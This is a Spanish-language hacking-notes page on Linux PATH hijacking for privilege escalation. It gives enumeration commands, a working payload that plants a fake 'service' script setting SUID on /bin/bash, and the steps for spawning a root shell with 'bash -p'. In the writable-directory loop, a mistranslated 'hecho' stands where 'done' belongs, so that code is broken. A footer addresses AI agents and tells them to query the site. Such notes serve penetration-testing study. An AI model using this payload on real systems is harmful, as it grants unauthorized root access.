> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/path-hijacking.md).

# Secuestro de PATH

El secuestro de PATH abusa de programas o scripts privilegiados que llaman comandos sin rutas absolutas. Si el atacante controla un directorio anterior en `PATH`, el proceso privilegiado puede ejecutar el binario del atacante.

## Metodología

* Identifica scripts o binarios privilegiados que llamen a herramientas por nombre en lugar de por la ruta completa.
* Confirma el entorno de ejecución y los directorios con permisos de escritura en `PATH`.
* Coloca un ejecutable controlado con el nombre esperado y activa el flujo de trabajo privilegiado.

## Comprobaciones rápidas

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Busca específicamente programas privilegiados que llamen a otros comandos sin rutas absolutas:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Comprueba si algún `PATH` directorio actual tiene permisos de escritura:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
hecho
```

## Patrón mínimo de carga útil

Si un script privilegiado llama a un comando por nombre relativo, crea un ejecutable con el mismo nombre en un directorio con permisos de escritura y mueve ese directorio al inicio de `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Activa el script vulnerable o espera a que se ejecute el flujo de trabajo privilegiado y luego valida:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Secuestro de PATH test.c</h4></td><td>Notas sobre el secuestro de PATH (test.c) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/pages/6e4e11953aef072863a771adac09d6924798c774">/pages/6e4e11953aef072863a771adac09d6924798c774</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Secuestro de PATH con tar</h4></td><td>Notas sobre el secuestro de PATH (tar) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/pages/568812be9e21988ba989f1c19a72c101a15fde15">/pages/568812be9e21988ba989f1c19a72c101a15fde15</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Secuestro de PATH con gzip</h4></td><td>Notas sobre el secuestro de PATH (gzip) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en informes.</td><td><a href="/pages/78e763f36dae80499c75f217ead3782e6c35ae23">/pages/78e763f36dae80499c75f217ead3782e6c35ae23</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
